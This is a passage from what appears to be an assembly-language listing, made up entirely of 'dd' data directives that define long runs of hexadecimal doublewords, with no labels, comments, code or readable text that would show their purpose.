		dd 0AB786489h, 311AB8FAh, 0D2802399h, 541B3BC3h, 0D6BF9C2Ch
		dd 0AF8025B5h, 315BAE8Ah, 5A2548E9h, 26654959h,	5AAA61h
		dd 52708454h, 0CA6C35D5h, 15CAA72Bh, 0B55D08D4h, 32984603h
		dd 9EFC24E5h, 0AA2BA2BAh, 6F63E898h, 0FB63528Fh, 0CB805616h
		dd 2239BCC0h, 59F233A0h, 5C7062C7h, 0B2195851h,	5E51ADD1h
		dd 0E6776D04h, 0AE8AC568h, 552DB3A2h, 8A1C993Ah, 0FB9539FFh
		dd 0E0C7575Ah, 0A6523538h, 2539093Ah, 0E35F117h, 5D6B8DD4h
		dd 7D71D272h, 59715951h, 0C51D3F3h, 1F4C0396h, 6AB0D3D9h
		dd 8716695Bh, 0AAB1DB95h, 0BA9406h, 0C70ADA83h,	3516F3D8h
		dd 17A21A2Ch, 2E943BCBh, 2ABB9969h, 0C10AB4C7h,	21361CCBh
		dd 0D2072F1Bh, 0C093ECD9h, 0EA1C988Fh, 0A2F2B7AAh, 5C0ECA15h
		dd 66F27A2Ah, 0E22E97A8h, 9B6ABBA1h, 645F7ED6h,	5692B7F5h
		dd 630C034h, 0C828E24Eh, 0D3C04330h, 0AEEDD417h, 7D4A3427h
		dd 6AD23ACAh, 752804ACh, 5AC8C9A1h, 0C1B0B946h,	0CCEAFF08h
		dd 28B5AE98h, 40B2860Ah, 0BBA3B3EEh, 10AAF554h,	1CE21F3Ah
		dd 0AAE02BABh, 985C1C8h, 6E86D60Eh, 817544CCh, 0FAB255E1h
		dd 49286B88h, 99EB563Dh, 2B6648A2h, 88ACC468h, 0E1BE32F0h
		dd 0AD9EDCD4h, 0E4AA1D0Bh, 9B0CD0A4h, 9EA283D2h, 3A311AADh
		dd 58A0E58Eh, 969873F9h, 2B6850AAh, 37D233EBh, 4605D70Ah
		dd 0F59AD2E5h, 347D5A78h, 3B6D3E0h, 62B968ACh, 95F63CDEh
		dd 752BF861h, 0F0851B70h, 434C11B0h, 6F63C680h,	0BA3292ACh
		dd 302962AFh, 12450AEEh, 4127784Ah, 4568430h, 50020328h
		dd 0A404B571h, 0F371B45h, 6D825EC8h, 2DA4116Ah,	0B409EAAEh
		dd 0DE4C8D54h, 0D4AADC15h, 41A461Ch, 535A3DB2h,	6E60AEE2h
		dd 0BA3ECDDEh, 0BC75832Eh, 8105B4F0h, 0CB58CC48h, 5DE043B1h
		dd 58DBD369h, 224C9DA4h, 1CB25401h, 23201901h, 567F2743h
		dd 0BD870115h, 30757597h, 87988126h, 9F4C1D70h,	0F9C8E172h
		dd 21FCA2AEh, 0D8CF8EE9h, 0C412D609h, 3F085088h, 4BA2202h
		dd 12E2921Eh, 4B688973h, 2D0225BCh, 0B20996A1h,	0BE255984h
		dd 0D0956112h, 0E255744Ah, 894E912Ah, 251C04A8h, 50571294h
		dd 218A4BA9h, 60203B1Ah, 41000308h, 8FEB3A2h, 7C0AC488h
		dd 0E8022228h, 8F5B341h, 25C41EE0h, 96D112E6h, 5A444B78h
		dd 65122D62h, 844BB389h, 0E12BC625h, 6C2D0095h,	60018156h
		dd 55040043h, 50121AC2h, 2C4AA909h, 61289C25h, 4A14094h
		dd 12FEA251h, 0E8978941h, 25D1E43h, 8971B12Fh, 25B444B9h
		dd 968112E0h, 56F84B50h, 10E22CC1h, 0E660CC80h,	0F0550AB7h
		dd 0B6010086h, 188042CCh, 95110D90h, 538446A0h,	753129E2h
		dd 4A00A609h, 2314D50h,	89438648h, 97E2C4A2h, 0D12F1222h
		dd 44BC1E87h, 12EC625Eh, 4B900977h, 2DA225D0h, 0B4099701h
		dd 0C8255A84h, 956612h,	0A257884Bh, 8959E12Bh, 255C04ADh
		dd 953112B0h, 53C44AA8h, 4B122A22h, 204AA689h, 41289225h
		dd 0C8723094h, 0BD89425Fh, 0EE251F44h, 0A0977812h, 25BD84Bh
		dd 96A212Eh, 259484B6h,	961112CEh, 57444B18h, 59122BE2h
		dd 544AAD89h, 0F129AE25h, 0C4A39894h, 1282A252h, 2FE48943h
		dd 0C25F2445h, 978350Fh, 25CC04BDh, 969212ECh, 1BC4B80h
		dd 0A00842A2h, 0D425021Dh, 3096EB12h, 2257A04Bh, 1680412Ch
		dd 246184BCh, 5584A0B8h, 51122B02h, 304AA989h, 70049C25h
		dd 42124894h, 0E2186289h, 2F222297h, 0BA8987C1h, 0E2255DC4h
		dd 68967312h, 2259BC4Bh, 962B12Dh, 2578C4B2h, 959112C0h
		dd 55444AE0h, 50122AE2h
		dd 304AA909h, 71289C25h, 12825094h, 85A1A245h, 0D09725F8h
		dd 0C25DF04Bh, 970812Eh, 25AC04B9h, 967112DCh, 58844B48h
		dd 5C122C82h, 604AAF89h, 412AB425h, 4A7B095h, 12944254h
		dd 4A30094Ch, 28222520h, 521F9431h, 9785FC8h, 25D004BDh
		dd 96F112ECh, 5AC44B90h, 67122DA2h, 8C4BB489h, 0F12BCA25h
		dd 0C4AC0895h, 12A8A256h, 4A808957h, 29622548h,	0A38994D1h
		dd 86255244h, 0F1094512h, 97A1044Bh, 5D8443E0h,	72122F02h
		dd 0B44BBA09h, 912CDE25h, 44B15896h, 12BCE259h,	4AC88960h
		dd 2AA2256Ch, 0A8899571h, 9A2554C4h, 40944F12h,	8250284Ah
		dd 0A5F86128h, 0C12F8488h, 4BB3487h, 12E4425Eh,	4B680974h
		dd 2D2225C0h, 0B28996B1h, 0C22559C4h, 0E8956312h, 22557C4Ah
		dd 952B12Bh, 2538C4AAh,	94A112A0h, 51844A60h, 144B2902h
		dd 43E8A209h, 2F02F907h, 0B98997A1h, 0DA255D44h, 48967012h
		dd 0A258AC4Bh, 95D712Ch, 2560C4B0h, 954112B6h, 54044AB0h
		dd 4C122A42h, 1C4AA709h, 31289425h, 0C8322894h,	0BD09225Fh
		dd 0EA251F44h, 80967712h, 825ACC4Bh, 964E12Dh, 258044B3h
		dd 95C112C4h, 56044AF0h, 53122B42h, 3C4AAA89h, 0A129A225h
		dd 84A26894h, 12FE0251h, 0FA250941h, 0C8974150h, 825CEC4Bh
		dd 896D612Eh, 25A484B7h, 965112D6h, 57C44B38h, 5B122C42h
		dd 584AAE89h, 129B025h,	4A49895h, 1288C253h, 488A8946h
		dd 221F2508h, 9785F88h,	25D004BDh, 96F112ECh, 5A844B90h
		dd 65122DA2h, 844AB409h, 759FC625h, 0B800B969h,	2AE20021h
		dd 0A9098DA1h, 9C255544h, 50945012h, 0C250304Ah, 25F88128h
		dd 0F04BC48Ah, 712E81A1h, 84B8C897h, 12D6A25Ch,	4B30096Eh
		dd 2C2225A0h, 0AE099631h, 0AE2557C4h, 98955912h, 0C252544Ah
		dd 9460129h, 2508C4A4h,	5F881288h, 4BC488Ah, 12EA121Fh
		dd 4B808977h, 2D8225CCh, 0B40996E1h, 0C6255A84h, 0F8956512h
		dd 4155844Ah, 0B001C12Bh, 46AC9C6h, 129E0D60h, 4A580952h
		dd 28E22534h, 0A1099491h, 0F1015144h, 97A1114Bh, 5D8443E0h
		dd 72122F02h, 0B84BBA09h, 0A12CE025h, 44B16096h, 3C1BE259h
		dd 37C08557h, 25640804h, 954111B8h, 53C44AB0h, 4B122A22h
		dd 1C4AA689h, 31289225h, 82282894h, 0F225225Fh,	0A8977B12h
		dd 25BDC4Bh, 96A212Eh, 259884B6h, 962112D0h, 57844B20h
		dd 5A122C02h, 584AAE09h, 212AB025h, 84A6A095h, 12900253h
		dd 4A18094Ah, 2FC72514h, 3C009411h, 4BB8FE84h, 2E4223E4h
		dd 0B6899751h, 0D0255C04h, 18966A12h, 0A256984Bh, 8957012Bh
		dd 2548C4ACh, 94E112AAh, 52444A80h, 45122962h, 452FA389h
		dd 0F828424h, 0BC09C7F9h, 0E8255E84h, 78967612h, 425AC84Bh
		dd 964D12Dh, 258004B3h,	95A112C4h, 55444AE8h, 51122AE2h
		dd 344AA989h, 91289E25h, 44A15894h, 12FEE251h, 0FA258941h
		dd 0C8977F50h, 825CEC4Bh, 96E612Eh, 25A484B8h, 965112D8h
		dd 58444B38h, 5D122C62h, 644AAF89h, 312AB625h, 0C4A6B095h
		dd 12902253h, 4A18094Ah, 0BF1F2518h, 97A9114h, 25D8C43Eh
		dd 972112F0h, 5B844BA0h, 6A122E02h, 944BB609h, 112BD025h
		dd 44AD1896h, 12AEE257h, 4A908959h, 29A22554h, 0A48994F1h
		dd 882552C4h, 0A7ED4612h, 5EC40448h, 76120FA2h,	0C84BBC89h
		dd 0D12DE825h, 44B37896h, 12C6625Ah, 4AF88965h,	2B422584h
		dd 0AB0995D1h, 0A2255604h, 68945412h, 22513C4Ah, 8943B129h
		dd 25FCC4A2h, 0F04B1282h, 812EFD21h, 0C4B8D097h, 12DAC25Ch
		dd 4B48896Fh, 2C8225ACh, 0B0099661h, 0B8255884h, 0B8955E12h
		dd 2253644Ah, 894B412Ah, 251CC4A6h, 94311292h, 7E3F4A28h
		dd 12F42229h, 4BA8287Ch, 2E0225DCh, 0B6099721h,	0D0255B84h
		dd 20966A12h, 0E257984Bh, 8957212Bh, 254804ACh,	94E112AAh
		dd 52844A80h, 44122982h, 0FCFCA389h, 4BD88425h,	2EE221F4h
		dd 0B9099791h, 0DC255D04h, 50967012h, 0C259B04Bh, 95F812Ch
		dd 256804B1h, 954112B8h, 53C44AB8h, 49122A22h, 104AA609h
		dd 148A8C25h, 0F8251091h, 0C0977DD0h, 825CE84Bh, 896D612Eh
		dd 25A444B7h, 964112D6h, 58044B38h, 5C122C42h, 604AAF09h
		dd 412AB425h, 4A7B095h,	12944254h, 4A30094Ch, 28222520h
		dd 0B21F9431h, 9785FCFh, 25D004BDh, 970112ECh, 5B044B90h
		dd 68122DC2h, 904BB509h, 12BCC25h, 4AD1096h, 12ACC257h
		dd 4A900958h, 29C22550h, 0A5099501h, 8C255304h,	10974812h
		dd 87C1104Ah, 5E04F3EAh, 74122F42h, 0C04BBB09h,	0C12DE425h
		dd 4B37096h, 12C4425Ah,	4AF00964h, 2B422580h, 0AA8995C1h
		dd 0A02555C4h, 58945212h, 0C251384Ah, 9119128h,	0F44304A1h
		dd 912E4BF1h, 44B9D897h, 12DEE25Dh, 4B508971h, 2CC225B0h
		dd 0B1099681h, 0BA255904h, 0C8955F12h, 0A2546C4Ah, 894F712Ah
		dd 252CC4A8h, 9461129Ah, 50444A48h, 340C2882h, 4BC8BF9Fh
		dd 2EA225ECh, 0B8099771h, 0D8255CC4h, 40966E12h, 8258A84Bh
		dd 895C612Ch, 256044AFh, 954112B4h, 54044AB0h, 4B122A42h
		dd 1C4AA709h, 31229225h, 3E482894h, 0F225297Eh,	0A8977B12h
		dd 225BDC4Bh, 896A312Eh, 2598C4B6h, 962112D0h, 57844B20h
		dd 5A122C02h, 584AAE09h, 212AB025h, 44A5A095h, 128E0253h
		dd 4A188949h, 2FE72514h, 0A25E9411h, 8977C50Fh,	25CCC4BCh
		dd 96F112EAh, 5A844B88h, 65122DA2h, 844AB389h, 0C12BC625h
		dd 4ABF895h, 12A44256h,	4A700954h, 29422540h, 0A20994C1h
		dd 229751C4h, 81444212h, 7812E3E0h, 0D04BBD09h,	12DEC25h
		dd 0C4B49097h, 12C8C25Ah, 4B000966h, 2B622588h,	0AB0995D1h
		dd 0A2255604h, 58945412h, 0C251384Ah, 9118128h,	0EF4004A1h
		dd 84BC4BF1h, 12E8C25Eh, 4B800976h, 2D8225C8h, 0B40996E1h
		dd 0C8255A84h, 956612h,	4256884Bh, 8953D12Bh, 253C04AAh
		dd 94B112A2h, 51C44A68h, 43122922h, 0FCF7A289h,	4BD08225h
		dd 2EC221F4h, 0B8899781h, 0D8255CC4h, 40966F12h, 6258A84Bh
		dd 895D612Ch, 256444AFh, 954112B6h, 53844AB0h, 4A122A22h
		dd 184AA609h, 21229025h, 3DA82094h, 0F425297Eh,	0A8977C12h
		dd 225BDC4Bh, 896B312Eh, 2598C4B6h, 962112D2h, 57044B20h
		dd 58122BE2h, 504AAD09h, 0F129AC25h, 8C828894h,	2190A258h
		dd 512812C0h, 52FC008Ch, 0F8254244h, 0C0977B10h, 625CE84Bh
		dd 896D512Eh, 25A444B7h, 964112D6h, 57C44B38h, 5B122C42h
		dd 5C4AAE89h, 212AB225h, 44A5A895h, 128E0253h, 4A188949h
		dd 2FC72514h, 825E9411h, 975AD0Fh, 25BC84BCh, 96B112E4h
		dd 59844B68h, 62122D22h, 744AB209h, 912ABE25h, 44A9D895h
		dd 129EE255h, 4A588951h, 28E22534h, 0A1899491h,	0FE7A5144h
		dd 25EC4112h, 977190FAh, 5CC44BC8h, 6E122EA2h, 0A84BB889h
		dd 512CD825h, 4AF4096h,	12B44258h, 4AB0095Ch, 2A422560h
		dd 0A7099541h, 92255404h, 28944B12h, 297E1C4Ah,	7C122122h
		dd 0E04B3D28h, 212EF425h, 84B6A897h, 12CE025Bh,	4B10096Ah
		dd 2BC22594h, 0AD099601h, 0AA255704h, 88945812h, 0A2524C4Ah
		dd 8947F129h, 2508C4A4h, 0E843128Ah, 0B12F4BF9h, 84BAE897h
		dd 2268225Dh, 8780095Ch, 84B67200h, 12D0023Bh, 4B20096Ah
		dd 2C022598h, 0AE099621h, 0B0255784h, 90955A12h, 0C253544Ah
		dd 9480129h, 250C04A5h,	5F8F128Ch, 48E488Ah, 4BA83A1Fh
		dd 2E0225E0h, 0B6099731h
		dd 0D0255B84h, 20966A12h, 257984Bh, 8958212Ch, 254C44ADh
		dd 94E112AAh, 52844A88h, 46122982h, 848A409h, 8F328825h
		dd 0BC898A5Fh, 0EA251EC4h, 88967712h, 0A25ACC4Bh, 8967F12Dh
		dd 258CC4B4h, 95F112CAh, 56844B08h, 56122B82h, 484AAC09h
		dd 0D129A825h, 44A37894h, 12846252h, 2FA78945h,	625E2445h
		dd 8975950Fh, 25C044BBh, 96C112E4h, 59C44B70h, 62122D22h
		dd 784AB209h, 0A12BC025h, 84AAE095h, 129E0255h,	4A580952h
		dd 28E22534h, 0A1899491h, 0FE795144h, 25EC4112h, 5DC410FAh
		dd 721248A2h, 0B84BBA89h, 0A12CE025h, 4B16096h,	12BCE259h
		dd 4AD00960h, 2AC22570h, 0A9099581h, 9C255504h,	50945012h
		dd 0C251304Ah, 9118128h, 0E34304A1h, 0A12F4BF1h, 84BAE097h
		dd 12DE025Dh, 4B500971h, 2CA225B4h, 0B0899671h,	0BA2558C4h
		dd 0C8955F12h, 62546C4Ah, 894D612Ah, 252044A7h,	94411296h
		dd 5FCF4A30h, 44BD2842h, 12EE121Fh, 4B988979h, 2DE225D4h
		dd 0B5099711h, 0CA255B04h, 956712h, 8256884Bh, 8955E12Bh
		dd 254084ABh, 94C112A6h, 51C44A70h, 41122942h, 50FAA209h
		dd 445EFE78h, 0EE0024EBh, 2E628021h, 0B7098F51h, 0D4255C44h
		dd 28966C12h, 0E257A04Bh, 8957212Bh, 254804ACh,	94E112A8h
		dd 52844A80h, 46122982h, 848A409h, 8F028825h, 0BC898A5Fh
		dd 0E8251F04h, 80967612h, 825AC84Bh, 966E12Dh, 258484B4h
		dd 95D112C6h, 56044AF8h, 3B872B62h, 869AB09h, 404A9540h
		dd 0C1290023h, 0C4A27094h, 12224251h, 0BE878942h, 897697E3h
		dd 25C8B123h, 96D112E8h, 5A044B78h, 64122D62h, 804AB309h
		dd 0C12BC425h, 4AAF095h, 12A04256h, 4A588953h, 28E22534h
		dd 0A1899491h, 0FC775144h, 25E44112h, 975190F8h, 5C444BB8h
		dd 6C122E62h, 0A04BB789h, 412CD425h, 4AF3096h, 12B44258h
		dd 4AB0095Ch, 2A422560h, 0A6899541h, 8E255404h,	18944A12h
		dd 0E775144Ah, 5EC4112Fh, 76120FA2h, 0C44BBC89h, 0D12DE625h
		dd 44B37896h, 12C6625Ah, 4AF08965h, 2B422584h, 0AB0995C1h
		dd 0A2255604h, 60945312h, 2513C4Ah, 8941A129h, 771084A1h
		dd 0EC4B12FEh, 612EFA25h, 84B8C897h, 12D6825Ch,	4B38096Dh
		dd 2C4225A4h, 0AF099641h, 0B4255804h, 0A8955C12h, 2535C4Ah
		dd 94A312Ah, 251884A6h,	94111290h, 6D0F4A18h, 84BC2FE7h
		dd 12E8A25Eh, 4B800976h, 2D8225C8h, 0B38996E1h,	0C6255A44h
		dd 0F0956512h, 4256844Ah, 953C12Bh, 253804ABh, 94A112A2h
		dd 51444A60h, 41122902h, 90FAA189h, 4BC8FE76h, 2EA225ECh
		dd 0B8899771h, 0DA255CC4h, 40966F12h, 6258AC4Bh, 895C612Ch
		dd 255C44AFh, 953112B4h, 53844AA8h, 4A122A22h, 184AA609h
		dd 14BF9025h, 3E892091h, 0F2259D94h, 0A0977B12h, 0C25BDC4Bh
		dd 968112Dh, 259404B5h,	961112CCh, 56C44B20h, 55122BC2h
		dd 3C4AAC09h, 9128A425h, 4A16094h, 1222C251h, 0B0878941h
		dd 224597E3h, 25C8C12Fh, 970112EAh, 5B044B88h, 68122DA2h
		dd 8C4BB489h, 0F12BC825h, 44AC1095h, 12AC8256h,	4A900957h
		dd 2982254Ch, 0A30994F1h, 22975244h, 87C14312h,	5E04F3AEh
		dd 74122F22h, 0B84BBB89h, 812CE225h, 84AF5896h,	12BAA258h
		dd 4AC8895Eh, 2AA22570h, 0A8899581h, 9E255484h,	58945012h
		dd 2251384Ah, 8944A129h, 250884A2h, 0D6431286h,	0A12F4BF9h
		dd 84B9D897h, 12DA225Dh, 4B388970h, 2C4225A8h, 0AF099661h
		dd 0B4255844h, 0A0955D12h, 0C2535C4Ah, 9471129h, 250C44A5h
		dd 5F4E1288h, 84BB488Ah, 12E6AA1Eh, 4B608976h, 2D0225BCh
		dd 0B20996B1h, 0C42559C4h, 956312h, 8256844Bh, 8964E12Bh
		dd 560084ABh, 2352428h,	895286A8h, 254004A9h, 94D112A2h
		dd 74A14A70h, 51C42982h, 44122922h, 448A309h, 0CEA28425h
		dd 0BD098A5Fh, 0EC251F04h, 98977812h, 0D883D04Bh, 8F962127h
		dd 81039F61h, 1FC5BCB7h, 6010B001h, 47404D0Dh, 2C82EA00h
		dd 0AF899661h, 0B6255884h, 0C8955C12h, 0E255684Ah, 0CA0A812Ah
		dd 3500849Fh, 24FBA804h, 0E44411A6h, 5480764Fh,	8C2AFF2Ah
		dd 0CE00417Fh, 0E0A60010h, 0B44A45FCh, 60040043h, 44124894h
		dd 44B6289h, 43E88625h,	2F02F9D3h, 0B90997B1h, 0E0255D44h
		dd 68967112h, 2259BC4Bh, 961B12Dh, 2574C4B2h, 95B112BCh
		dd 55C44AE0h, 53122B22h, 344AAA89h, 9129A025h, 0C4A25094h
		dd 12820251h, 0E9218943h, 0C89725FCh, 0A25DF04Bh, 8971612Eh
		dd 25B404B9h, 968112DEh, 58844B58h, 60122CA2h, 744AB089h
		dd 912ABE25h, 4A8D895h,	129AE255h, 4A58894Eh, 28E22530h
		dd 0A1899491h, 0A4445144h, 9D162AA2h, 47D8087Eh, 2F028480h
		dd 0BA0997A1h, 0DE255D84h, 48947212h, 7380B04Bh, 11C9034h
		dd 84B04394h, 12BE6258h, 4AD88960h, 25542574h, 429591h
		dd 8875E4ACh, 1955AA8Ch, 0AB01551Ah, 11A3C1Fh, 0C4A64350h
		dd 12904253h, 4A20094Ah, 22292518h, 87C9421h, 24AA7E3Ah
		dd 715512F4h, 88A19695h, 60048030h, 0C84B028Fh,	0E12D4A25h
		dd 84B48096h, 12C8825Ah, 4B000966h, 2B822588h, 0AC0995E1h
		dd 0A8255684h, 80945612h, 8252484Ah, 946E129h, 250884A4h
		dd 5F8E1288h, 4BD488Ah,	12EC7A1Fh, 4B900978h, 2DC225D0h
		dd 0B5099701h, 0CC255B04h, 10966812h, 0C257904Bh, 958012Bh
		dd 255004ADh, 950112ACh, 0B8E94A90h, 8C2556h, 6D48C019h
		dd 8023A111h, 0C30C0863h, 8C30C455h, 897F8A01h,	7D120460h
		dd 0E04B39C8h, 312EF625h, 4BBB097h, 0AAD5425Ch,	0C6E8282h
		dd 0B44B16F0h, 3A440043h, 64125802h, 784AB389h,	0A12BC225h
		dd 40B1D895h, 3AB82254h, 525516h, 0C24A0835h, 4C0C0119h
		dd 34A0BC91h, 8023BE64h, 57850863h, 10C31449h, 10552880h
		dd 0A0800046h, 0E6BAD0D1h, 0AB3C43FCh, 7C4B0832h, 0F40E2BCFh
		dd 8FB879Dh, 24AB1F80h,	800812F4h, 23D08917h, 55597B00h
		dd 80C34B98h, 7896B1AAh, 4259C44Bh, 0CC25D12Dh,	2096C011h
		dd 4258944Bh, 95E312Ch,	256844B0h, 955112B8h, 54444AC0h
		dd 4F122A42h, 2C4AA809h, 71289A25h, 44884894h, 0E6218250h
		dd 0E097A5FCh, 225EF84Bh, 8975A12Fh, 972104BBh,	5C041228h
		dd 6C122E22h, 0A44BB709h, 712CD425h, 0C4B04096h, 12BEA258h
		dd 4AE08960h, 2B022578h, 0AB0995A1h, 0A62555C4h, 78945512h
		dd 0A253444Ah, 948E129h, 251404A5h, 9431128Ch, 5FCE4A20h
		dd 44BE2822h, 12F45A1Fh, 4BB0097Bh, 2E6225E0h, 0B8899741h
		dd 0DA255C84h, 50966F12h, 259AC4Bh, 962912Dh, 258084B2h
		dd 95D112C2h, 56444AF8h, 57122B62h, 504AAC09h, 129AC25h
		dd 84A69095h, 1292E253h, 4A30894Bh, 2882251Ch, 88A59451h
		dd 21F45084h, 97B1F8E5h, 5DC44BE0h, 74122F22h, 0C84BBA89h
		dd 0E12DE625h, 0C4B58096h, 12CE825Ah, 4B180969h, 2C222594h
		dd 0AF099621h, 0B4255804h, 0C0955C12h, 0A254644Ah, 8556712Ah
		dd 10C4A8h, 46686CCAh, 2922CF00h, 0A28994B1h, 822551C4h
		dd 0A1EC4312h, 9761F8E4h, 5C844BC0h, 6E122E82h,	0A84BB809h
		dd 612CD825h, 0C4B04096h, 12BAA258h, 4AC8895Fh,	2AA2256Ch
		dd 0AE229571h, 606F54C2h, 1A4432BEh, 985AF2BFh,	994D55D5h
		dd 64266334h, 39286673h, 66C0E031h, 83097955h, 0CA1BB016h
		dd 0D0416365h, 1D234602h, 4E260390h, 173329Bh, 2DB68901h
		dd 0D93826D1h, 4C89EB15h
		dd 0C4A52409h, 78054CC3h, 5B25DEE7h, 0EE362336h, 11B08C2Ch
		dd 61081BD0h, 0C12BC531h, 9F5DB12Bh, 0D76C1844h, 4AEE6471h
		dd 6E2052E2h, 14849D7h,	883AC013h, 20C31683h, 4BAC83C9h
		dd 1C440C52h, 56EB2AC1h, 22020DFh, 9238406Eh, 0C93018BCh
		dd 4C22482Ch, 0AAE4311h, 0C1119844h, 2984200Eh,	0C6E14C2h
		dd 0C113418Ch, 5820E00Eh, 60630844h, 7608220Ch,	22C17600h
		dd 63039842h, 3B00110h,	11161BC8h, 831844C2h, 1D0808h
		dd 108818DDh, 44188226h, 0E600B040h, 3084C0C6h,	220EC11h
		dd 37504582h, 8984C606h, 10110760h, 31B8222Ch, 44C0630h
		dd 6080003Bh, 818D2111h, 0D8228831h, 8B04BC01h,	8C0C6108h
		dd 0EC10441h, 44586DC0h, 0C601308h, 762022h, 4222636Dh
		dd 10630898h, 6003C101h, 0C211031Bh, 883B044h, 0DAC01608h
		dd 26101818h, 40441D82h, 0C6D488B0h, 113018C0h,	820200ECh
		dd 6368445h, 608920C6h,	2C109007h, 30318422h, 3B041106h
		dd 1160B400h, 31814C21h, 1D88088h, 88B8D9Ch, 418C2261h
		dd 0A00E0404h, 8440C6Ch, 220CC113h, 66005820h, 88A66063h
		dd 0A0366608h, 5BE11102h, 2288B212h, 6D63981Eh,	60CE0540h
		dd 11616014h, 4518228Eh, 40002462h, 31E28222h, 60CE0630h
		dd 11616014h, 4518228Eh, 0C602462h, 0CDEC8222h,	79CD63E5h
		dd 78A145CEh, 0DCFDB9CDh, 6A5A93DCh, 21141D5Dh,	26102306h
		dd 0C9437182h, 0DB8B818Dh, 8226E38Fh, 8118BBB5h, 8181088h
		dd 0F77C0881h, 2047F5F7h, 6499BAF1h, 40CB533Fh,	0A3E5C10h
		dd 2FB52FA4h, 91924D90h, 8F19C987h, 7D3145D5h, 300CC041h
		dd 139AD603h, 0C7A2EC1h, 0F4BE87B8h, 0C18C7CFAh, 228EF650h
		dd 8B8451Ch, 0A5E60110h, 75E0183Ah, 78665891h, 3398C59Eh
		dd 0B0920198h, 8C406388h, 767E3122h, 8180086h, 0ABA25E4Eh
		dd 58E6E9E2h, 62C0B1A4h, 674DA1FDh, 334CE588h, 7AFF5265h
		dd 196082C6h, 0A07CD4C0h, 0F3B6AFB3h, 0B87B2C73h, 0A8115B51h
		dd 0E6944A7Ah, 0C70469E0h, 2062D5CEh, 0B5B40506h, 6A60B7B6h
		dd 1407B3B2h, 12B605C0h, 246B8A58h, 0AD13555Ch,	89225608h
		dd 2449AC53h, 3ADD1EB9h, 3AD53AE1h, 3ACD3AD9h, 38A23AD1h
		dd 57093AC9h, 8C277328h, 329CC653h, 0CA71194Eh,	29C66538h
		dd 0D38C94E3h, 0C9953ADh, 9C65A700h, 71944E30h,	0C65338CAh
		dd 5B27E329h, 329C8CA7h, 0C271194Eh, 29C66538h,	0A71994E3h
		dd 4E32538Ch, 38CA4EB5h, 0E3099C65h, 8CA67194h,	0B450C653h
		dd 44A417B3h, 41C5E080h, 0A23E6060h, 7A0AC688h,	2300210h
		dd 0C183207Ah, 0F807922h, 0F008C926h, 18FC40C1h, 2FBD41FCh
		dd 181998C1h, 0C604A62Ch, 818CC451h, 582A4C10h,	401C9808h
		dd 36C8F950h, 0DCB466A6h, 0DF26080h, 9BF30FE5h,	28CC86C1h
		dd 446C9F48h, 85039FB7h, 819C1069h, 61270059h, 42CCC18Eh
		dd 41111161h, 40231898h, 819C0636h, 22C10059h, 3111C18Ch
		dd 4418C598h, 8C016040h, 7306D938h, 3306606h, 1660388Bh
		dd 8888B0Ah, 8DB3C4C2h,	819C3181h, 22C00059h, 0C285C18Eh
		dd 3082CC22h, 60639831h, 1660220Ch, 63886AC0h, 8B06730h
		dd 0C4CB033h, 8318A166h, 30052088h, 0CC1818DAh,	0CC29819h
		dd 5983E22Ch, 22202C28h, 52601308h, 3398C6B1h, 58190B30h
		dd 50B331C4h, 10448458h, 64040626h, 6067418Dh, 88B0C016h
		dd 0B0A13063h, 4C203308h, 1A8B660Ch, 2CC08883h,	0C6118980h
		dd 8440CE60h, 0C44C6082h, 5CA58D45h, 0B2560409h, 25667095h
		dd 4129A95Ah, 140D9592h, 0F11454C0h, 48C21605h,	41115182h
		dd 6004518h, 382002ABh,	4042B303h, 69117028h, 95818C05h
		dd 75320016h, 280036F2h, 1107552h, 0E25AA650h, 8292216Ch
		dd 8EFDB55h, 60A19900h,	66606B45h, 80282380h, 4808064Ah
		dd 30701992h, 2A036AC9h, 4BAB01E0h, 84916C02h, 2134F92h
		dd 94BB7011h, 0C0661474h, 898D4CCh, 6001064Ch, 65A22130h
		dd 0BA5F1021h, 0EFCF39A8h, 8BF8C4B8h, 3CFBB00Ch, 3F4211F9h
		dd 88FC202Fh, 2271BDC6h, 31521EFAh, 600F792h, 0C621E104h
		dd 0E4F4E051h, 0FA3BC5EBh, 4FF0C13Dh, 0B6F4FB39h, 21DBEA6h
		dd 0F9FC25F2h, 0A0E0FE04h, 0E2908453h, 992420AEh, 8C0538FAh
		dd 3170300h, 9E5D414Ah,	0E7E0DE38h, 6A142066h, 300622FAh
		dd 0E5450420h, 0B05CC2AFh, 32180CCh, 0C2C37397h, 57971402h
		dd 59931879h, 6B3C08FEh, 0B05499CEh, 0CBF3A05h,	64753A45h
		dd 877A39A0h, 1205587Ah, 93650BF3h, 0CBBF8EC0h,	2D41847h
		dd 0F5048C12h, 2075C8Ah, 93EF4084h, 0DE1E6870h,	20127B78h
		dd 4091BC40h, 30068742h, 0DE8F6440h, 8E80CE33h,	2D13AC51h
		dd 0FB3EC723h, 0B4F09C0Ch, 65124343h, 6120A691h, 6FE534FEh
		dd 23AD061Ch, 447ADE1Fh, 0F8C42400h, 60040730h,	315F3449h
		dd 61B43ACCh, 1163900h,	500204F7h, 20C6702h, 106F2118h
		dd 14139006h, 0A0103CD5h, 8278594Fh, 0F8315432h, 91F4BB83h
		dd 7A8FFAC6h, 9044CE44h, 68E30089h, 0FA740641h,	38BCF528h
		dd 0B1E8501Bh, 38148673h, 36058216h, 0C0820ABFh, 0A90C7E20h
		dd 1E66060Ch, 33B98F21h, 7435A24Dh, 0C1955A49h,	224C1100h
		dd 5F8FC33Ch, 0F364FD4Eh, 92E140BCh, 0C644C634h, 34C2E212h
		dd 7951302Ah, 5606684Ch, 80C6E132h, 515742FEh, 1919EEC1h
		dd 208A640h, 99E61A05h,	105F0C40h, 2900227h, 8DE447DEh
		dd 6D64A23Fh, 0DFA82A06h, 2E190191h, 0E036074Bh, 819F752Ch
		dd 0FA287272h, 62740D0h, 849018C6h, 0CDFC0A32h,	0D41E0D44h
		dd 20221F87h, 6E1D2806h, 1AEA190h, 9808D8C1h, 43A40717h
		dd 5551F793h, 0CC651A47h, 0D9959132h, 8DACA4C8h, 8688819h
		dd 3474191Ch, 10EE629Dh, 25170479h, 6E3007CFh, 7E80134Ch
		dd 87119256h, 0A82420AFh, 22CBFD05h, 0CB9F20h, 5415146h
		dd 0CC024603h, 79E501D9h, 0A7C3C42h, 5A7CDFE6h,	23E68874h
		dd 28B05828h, 20330616h, 894915B6h, 0A291D2C0h,	6C01C160h
		dd 0EF281F7Bh, 67D7959Bh, 0D46011A7h, 23992BDAh, 0E597625Ch
		dd 0F1E0B8A8h, 0F3615A39h, 8DC28A16h, 0CC03E601h, 7DA938C3h
		dd 8AF000F3h, 980838BBh, 0C4A78E6Eh, 6142D221h,	630470F9h
